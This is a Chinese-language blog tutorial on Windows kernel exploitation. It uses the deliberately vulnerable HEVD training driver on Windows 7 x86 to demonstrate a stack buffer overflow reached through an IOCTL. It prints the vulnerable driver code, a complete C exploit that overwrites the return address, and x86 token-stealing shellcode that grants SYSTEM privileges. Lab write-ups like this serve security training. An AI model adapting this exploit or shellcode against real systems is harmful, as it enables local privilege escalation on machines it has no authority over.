Lynn's Blog Security Project

Windows Kernel Exploit - Stack Overflow



本篇以 HEVD 為案例進行實作,HEVD 是由 HackSysTeam 所開發的 Kernel Driver,該專案中包含了許多常見的漏洞,適合想練習 Windows Kernel Exploit 的研究人員練習,藉以用來練習各種漏洞利用方法。本篇以 Windows 7 為範例,本次測試的 Windows 7 沒有 SMEP 與 SMAP 防護機制,相對較簡單,有機會也會在其他版本的 Windows 上練習。

Description

Environment

  • Windows 7 x86 SP1 (Version 6.1.7601)
  • 無 SMEP(supervisor mode execution prevention) 防護機制
  • 無 SMAP(supervisor mode access prevention) 防護機制

Tools

  • VMware Workstation 12
  • Visual Studio 2017
  • WinDBG
  • IDA Pro
  • osrloaderv30
  • cmd

Vulnerability

這是一個在 Windows Kernel Driver 的 StackOverflow 漏洞,接下來將了解該漏洞的細節。

通常 Windows Kernel Driver 的研究,會先從負責處理 IOCTL 的函數開始看起,可以透過 DriverEntry 中的 DriverObject -> MajorFunction[IRP_MJ_DEVICE_CONTROL] 找到,而在 HackSysTeam Driver 中可以透過 control code 0x222003 來觸發 Stack Overflow

這裡補充一下 IOCTL 的知識,Windows Kernel Driver 的 IOCTL 是 User Mode 與 Kernel Driver 之間溝通的方式,Kernel 與 User 會透過 IOCTL 來進行資料的傳遞,當 Kernel Driver 在處理從 User Mode 傳過來的資料時,若沒有檢查,可能會有問題。

BOOL WINAPI DeviceIoControl(
  _In_        HANDLE       hDevice,
  _In_        DWORD        dwIoControlCode,
  _In_opt_    LPVOID       lpInBuffer,
  _In_        DWORD        nInBufferSize,
  _Out_opt_   LPVOID       lpOutBuffer,
  _In_        DWORD        nOutBufferSize,
  _Out_opt_   LPDWORD      lpBytesReturned,
  _Inout_opt_ LPOVERLAPPED lpOverlapped
);

了解 IOCTL 後,回到原來所討論的漏洞,HackSys Team 有提供 StackOverflow.cSource Code ,不妨看 Source Code 相關部分來理解此漏洞

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[2048] = {0};

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));  
        //用 sizeof 限制大小
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);  //UserBuffer 的大小
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

RtlCopyMemory 就是 memcpy,常見的問題是沒有檢查 User Mode 傳過來的參數或大小,先看有問題的寫法( Source Code 第 28 行 ),這裡的 Size 是 UserBuffer 的大小

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);  

正確的寫法可以用 sizeof 來限制 memcpy 時,copy 的大小不會超出 KernelBuffer

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

若是沒有檢查,可能會造成 Overflow,蓋到 ret

-0000081C KernelBuffer    db 2048 dup(?)
-0000001C var_1C          dd ?
-00000018 ms_exc          CPPEH_RECORD ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 UserBuffer      dd ?                    ; offset
+0000000C Size            dd ?
+00000010
+00000010 ; end of stack variables

Exploit

  • 首先,在 User Mode 申請一塊具有可讀可寫可執行 (RWX) 權限的記憶體,用來存放 Shellcode
  • 把 token stealing shellcode 放到這塊記憶體中
  • 取得 HacksysExtremeVulnerableDriver device 的 Handle
  • 將 return address 修改為 Userland 中 shellcode 的記憶體位置, 當函數 return 後,shellcode 就會被執行
  • Shellcode 會去找 system 這隻 process (PID = 4),並取得他的 token
  • 還原 StackFrame,否則會藍屏,因為在 Kernel 中做事
  • 擁有 system token 代表具有 system 的權限,用該權限建立的 cmd.exe 會有 system 的權限

HackSys Extreme Vulnerable Driver 的 Exploit StackOverflow.c

#include "StackOverflow.h"

DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
    HANDLE hFile = NULL;
    ULONG BytesReturned;
    PVOID MemoryAddress = NULL;
    PULONG UserModeBuffer = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    PVOID EopPayload = &TokenStealingPayloadWin7; //shellcode
    SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);

        if (!UserModeBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
        }

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);

        MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
        *(PULONG)MemoryAddress = (ULONG)EopPayload;

        DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
        DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);

        UserModeBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

Shellcode

  • FS:[0x124] 在 Win 7 上會指向目前 Process 的 KTHREAD

  • GSFS 是根據 OS Kernel 來決定用途,FS 在 Windows 上會指向一些 structure
  • ETHREAD 結構與 ERPOCESS 結構圖

  • 因為我們將函數 ret 的位置改成我們的 shellcode,Shellcode 執行完會無法回到原本正確的位置,所以為了讓程式能繼續執行,則需要調整 esp 的位置
VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                               ; Save registers state
                                             ; 存目前暫存器的狀態,後面需要還原用

        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]
                                             ; 取得目前 Process 的 KTHREAD 放到 eax
                                             

        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
                                             ; 取得[目前 Process 的 KTHREAD + EPROCESS_OFFSET] 的位置放到 eax
        mov ecx, eax                         ; Copy current process _EPROCESS structure
                                             ; 複製目前 Process 的 Eprocess structure 到 ecx
           
        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
                                             ; 從目前 eprocess 的 ActiveProcessLinks 找 system 的 eprocess 
            sub eax, FLINK_OFFSET            ; Flink 會指向下個 eprocess 的 ActiveProcessLinks 所在位置(而不是開頭),所以需要 sub FLINK_OFFSET 回到下個 eprocess 的開頭
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
                                             ; 比較 nt!_EPROCESS.UniqueProcessId 是不是 4
            jne SearchSystemPID              ; 如果不是 4 就重新找,所以當跳出這個迴圈出來一定會是 4

        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
                                             ; edx 指向 token 所在位置  

        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
                                             ; 將目前 process token 換成 system token
        ; End of Token Stealing Stub

        popad                                ; Restore registers state

        ; Kernel Recovery Stub
        xor eax, eax                         ; Set NTSTATUS SUCCEESS
        add esp, 12                          ; Fix the stack
        pop ebp                              ; Restore saved EBP
        ret 8                                ; Return cleanly
    }
}

Result

開啟 cmd.exe 使用 whoami 看目前的權限

執行 Exploit code

再次開啟 cmd.exe 使用 whoami 看目前的權限

Resources